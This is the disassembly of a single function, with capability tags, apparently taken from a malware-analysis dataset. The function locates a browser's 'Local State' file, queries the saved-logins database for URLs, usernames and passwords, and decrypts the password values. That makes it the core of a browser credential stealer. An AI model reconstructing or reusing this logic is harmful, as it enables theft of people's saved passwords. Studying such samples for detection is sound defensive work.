Function at 0x477290
Capabilities:
Check if file exists
Get file attributes
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x300c
call fcn.0047aea0
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push edi
xor ebx, ebx
push 0x47c548
mov dword [eax + 4], ebx
call fcn.00460220
push 0x7fe
lea ecx, [esp + 0x40e]
push ebx
push ecx
mov word [esp + 0x414], bx
call sub.msvcrt.dll_memset
lea esi, [esp + 0x414]
add esp, 0x14
mov eax, edi
sub esi, edi
movzx ecx, word [eax]
mov word [eax + esi], cx
add eax, 2
cmp cx, bx
jne 0x4772e2
lea edx, [esp + 0x400]
push 0x5c
push edx
call sub.msvcrt.dll_wcsrchr
add esp, 8
cmp eax, ebx
jne 0x477311
mov word [esp + 0x400], bx
jmp 0x477314
mov word [eax], bx
lea eax, [esp + 0x400]
push 0x5c
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
cmp eax, ebx
je 0x47732d
mov word [eax], bx
push 0x7fe
lea ecx, [esp + 0xc06]
push ebx
push ecx
mov word [esp + 0xc0c], bx
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x3ff
push str.Local_State
lea eax, [esp + 0xc08]
lea ecx, [esp + 0x408]
call fcn.00468830
add esp, 8
lea edx, [esp + 0xc00]
push edx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4773d2
mov eax, edi
movzx ecx, word [eax]
mov word [eax + esi], cx
add eax, 2
cmp cx, bx
jne 0x477380
lea eax, [esp + 0x400]
push 0x5c
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
cmp eax, ebx
jne 0x4773af
mov word [esp + 0x400], bx
jmp 0x4773b2
mov word [eax], bx
push 0x3ff
push str.Local_State
lea eax, [esp + 0xc08]
lea ecx, [esp + 0x408]
call fcn.00468830
add esp, 8
mov edx, dword [ebp + 8]
lea ecx, [esp + 0xc00]
push ecx
push edx
call fcn.00476ff0
push 0x1ff
lea eax, [esp + 0x205]
push ebx
push eax
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], 0x1388
mov byte [esp + 0x20c], bl
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
push ebx
push 0x1ff
lea ecx, [esp + 0x20c]
push ecx
push 0xffffffffffffffff
push edi
push ebx
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x204]
push eax
mov dword [esp + 0x24], ebx
call fcn.0044d4d0
mov edi, dword [esp + 0x24]
add esp, 8
cmp edi, ebx
je 0x477924
lea ecx, [esp + 0x18]
push ecx
push ebx
push ebx
push 0xffffffffffffffff
push str.SELECT_origin_url__action_url__username_element__username_value__password_element__password_value__signon_realm__date_created_from_logins
lea esi, [esp + 0x20]
mov eax, edi
mov dword [esp + 0x20], ebx
call fcn.00451ad0
mov esi, dword [esp + 0x20]
add esp, 0x14
cmp esi, ebx
je 0x47790c
mov eax, esi
call fcn.00455f80
cmp eax, 0x64
jne 0x477905
nop
push 0x1c14
lea edx, [esp + 0x1404]
push ebx
push edx
call sub.msvcrt.dll_memset
add esp, 0xc
xor edi, edi
mov ebx, esi
call fcn.00424a10
mov edi, 1
mov dword [esp + 0x4c], eax
call fcn.00424a10
mov edi, 2
mov dword [esp + 0x48], eax
call fcn.00424a10
mov edi, 3
mov dword [esp + 0x54], eax
call fcn.00424a10
mov edi, 4
mov dword [esp + 0x18], eax
call fcn.00424a10
xor ebx, ebx
cmp dword [esi + 0x14], ebx
mov dword [esp + 0x50], eax
je 0x477517
cmp word [esi + 0x54], 7
jbe 0x477517
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
cmp eax, ebx
je 0x47750c
push eax
call dword [0x48805c]
add esp, 4
mov edx, dword [esi + 0x14]
add edx, 0x118
jmp 0x477561
mov eax, dword [esi]
cmp eax, ebx
je 0x47755c
mov eax, dword [eax + 0xc]
cmp eax, ebx
je 0x47752e
push eax
call dword [0x48805c]
add esp, 4
mov eax, dword [esi]
mov dword [eax + 0x34], 0x19
mov eax, dword [eax + 0xec]
cmp eax, ebx
je 0x47755c
test word [eax + 8], 0x2460
je 0x477556
mov esi, eax
call fcn.00418e30
mov esi, dword [esp + 0xc]
jmp 0x47755c
mov word [eax + 8], 1
mov edx, 0x480f98
movzx eax, word [edx + 8]
test al, 4
je 0x477578
mov ecx, dword [edx]
mov edx, dword [edx + 4]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], edx
jmp 0x4775c7
test al, 8
je 0x47758b
mov eax, dword [edx]
mov ecx, dword [edx + 4]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
jmp 0x4775c7
test al, 0x12
je 0x4775bf
mov cl, byte [edx + 0xa]
lea eax, [esp + 0x30]
push eax
mov eax, dword [edx + 0xc]
mov edx, dword [edx + 0x10]
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.00411ce0
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x38]
add esp, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], edx
jmp 0x4775c7
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov eax, dword [esi]
cmp byte [eax + 0x41], bl
mov ecx, dword [esi + 0x50]
jne 0x4775e0
cmp ecx, 0xc0a
je 0x4775e0
mov eax, dword [eax + 0x38]
and eax, ecx
jmp 0x4775e5
call fcn.0041d250
mov dword [esi + 0x50], eax
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
cmp eax, ebx
je 0x4775fb
push eax
call dword [0x488064]
add esp, 4
mov edi, 6
mov ebx, esi
call fcn.00424a10
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push ecx
push edx
lea ebx, [esp + 0x2e08]
mov edi, eax
call fcn.00476f10
mov ecx, dword [esp + 0x54]
mov ebx, dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
add esp, 8
push 0x3ff
lea eax, [esp + 0x1404]
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
call ebx
mov eax, dword [esp + 0x48]
push 0x3ff
lea edx, [esp + 0x1c04]
push edx
push 0xffffffffffffffff
push eax
push 0
push 0
call ebx
push 0xff
lea ecx, [esp + 0x2c04]
push ecx
push 0xffffffffffffffff
push edi
push 0
push 0
call ebx
mov eax, dword [esp + 0x54]
push 0xff
lea edx, [esp + 0x2404]
push edx
push 0xffffffffffffffff
push eax
push 0
push 0
call ebx
mov edx, dword [esp + 0x50]
push 0xff
lea ecx, [esp + 0x2604]
push ecx
push 0xffffffffffffffff
push edx
push 0
push 0
call ebx
mov ecx, dword [esp + 0x18]
push 0xff
lea eax, [esp + 0x2804]
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0xfde9
call ebx
mov edi, 5
mov ebx, esi
call fcn.00424a90
mov edi, eax
mov eax, 5
mov dword [esp + 0x18], edi
call fcn.00427120
xor ebx, ebx
mov esi, eax
cmp esi, 0xf
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
jle 0x477897
movzx eax, byte [edi]
sub eax, 0x76
jne 0x47771c
movzx eax, byte [edi + 1]
sub eax, 0x31
lea ecx, [edi + 1]
jne 0x47771c
movzx eax, byte [ecx + 1]
add ecx, 1
sub eax, 0x30
je 0x47772a
cmp eax, ebx
mov ecx, 1
jg 0x47772c
or ecx, 0xffffffff
jmp 0x47772c
xor ecx, ecx
cmp ecx, ebx
jne 0x47792d
mov edi, dword [ebp + 8]
cmp dword [edi + 4], ebx
je 0x477897
xor eax, eax
lea edx, [esp + 0x78]
push edx
mov byte [esp + 0x6c], bl
mov dword [esp + 0x6d], eax
mov dword [esp + 0x71], eax
mov dword [esp + 0x75], eax
mov word [esp + 0x79], ax
mov byte [esp + 0x7b], al
mov byte [esp + 0x5c], bl
mov dword [esp + 0x5d], eax
mov dword [esp + 0x61], eax
mov dword [esp + 0x65], eax
mov word [esp + 0x69], ax
mov byte [esp + 0x6b], al
call fcn.00401c2d
add esp, 4
add edi, 8
push edi
mov ebx, 0x100
lea eax, [esp + 0x7c]
call fcn.00401e45
lea ebx, [esi - 0xf]
add esp, 4
cmp ebx, 0x10
jle 0x477895
lea eax, [ebx + 0xa]
lea edi, [esp + 0x3c]
call fcn.00465e10
mov ecx, dword [esp + 0x3c]
mov edi, dword [esp + 0x18]
lea eax, [esp + 0x58]
push eax
push ecx
lea edx, [edi + 0xf]
push edx
lea eax, [edi + 3]
push eax
lea ecx, [ebx - 0x10]
push ecx
lea eax, [esp + 0x8c]
call fcn.004023e5
lea edx, [esp + 0x8c]
add esp, 0x14
push edx
call fcn.00402417
add esp, 4
mov eax, 0x10
lea ecx, [esi + edi - 0x10]
lea edx, [esp + 0x58]
mov esi, dword [edx]
cmp esi, dword [ecx]
jne 0x47780c
sub eax, 4
add ecx, 4
add edx, 4
cmp eax, 4
jae 0x4777f4
test eax, eax
je 0x477869
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x47785b
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x477869
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x47785b
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x477869
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x47785b
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x477869
movzx esi, byte [edx]
movzx eax, byte [ecx]
sub esi, eax
je 0x477869
test esi, esi
mov eax, 1
jg 0x47786b
or eax, 0xffffffff
jmp 0x47786b
xor eax, eax
test eax, eax
jne 0x477895
mov eax, dword [esp + 0x3c]
push 0xff
lea ecx, [esp + 0x2a04]
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
mov byte [eax + ebx - 0x10], 0
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
xor ebx, ebx
mov edi, dword [ebp + 0xc]
mov eax, edi
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4778a0
sub eax, edx
sar eax, 1
cmp eax, 0x1ff
jl 0x4778bb
mov eax, 0x1fe
lea esi, [eax + eax]
push esi
lea edx, [esp + 0x2e0c]
push edi
push edx
call sub.msvcrt.dll_memcpy
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
mov eax, dword [eax]
add esp, 0xc
lea edx, [esp + 0x1400]
push edx
mov word [esp + esi + 0x2e0c], bx
call eax
mov eax, dword [esp + 0xc]
call fcn.00455f80
mov esi, dword [esp + 0xc]
xor ebx, ebx
cmp eax, 0x64
je 0x477490
mov edi, dword [esp + 0x1c]
mov eax, esi
call fcn.00451a10
mov eax, edi
call fcn.0044c290
mov eax, dword [esp + 0x3c]
cmp eax, ebx
je 0x477924
push eax
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea edx, [esp + 0x28]
push edx
push ebx
lea eax, [esp + 0x28]
push eax
mov eax, 0x48d1b8
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], edi
call fcn.00474e90
mov edi, dword [esp + 0x2c]
cmp edi, ebx
je 0x477897
mov esi, dword [esp + 0x28]
cmp esi, 0xfe
jbe 0x477967
mov esi, 0xfe
push 0xff
lea ecx, [esp + 0x7d]
push ebx
push ecx
mov byte [esp + 0x84], bl
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
lea edx, [esp + 0x7c]
push edi
push edx
call sub.msvcrt.dll_memcpy
add esp, 0xc
push 0xff
lea eax, [esp + 0x2a04]
push eax
push 0xffffffffffffffff
lea ecx, [esp + 0x84]
push ecx
push ebx
push 0xfde9
mov byte [esp + esi + 0x90], bl
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
push edi
call dword [sym.imp.KERNEL32.DLL_LocalFree]
jmp 0x477897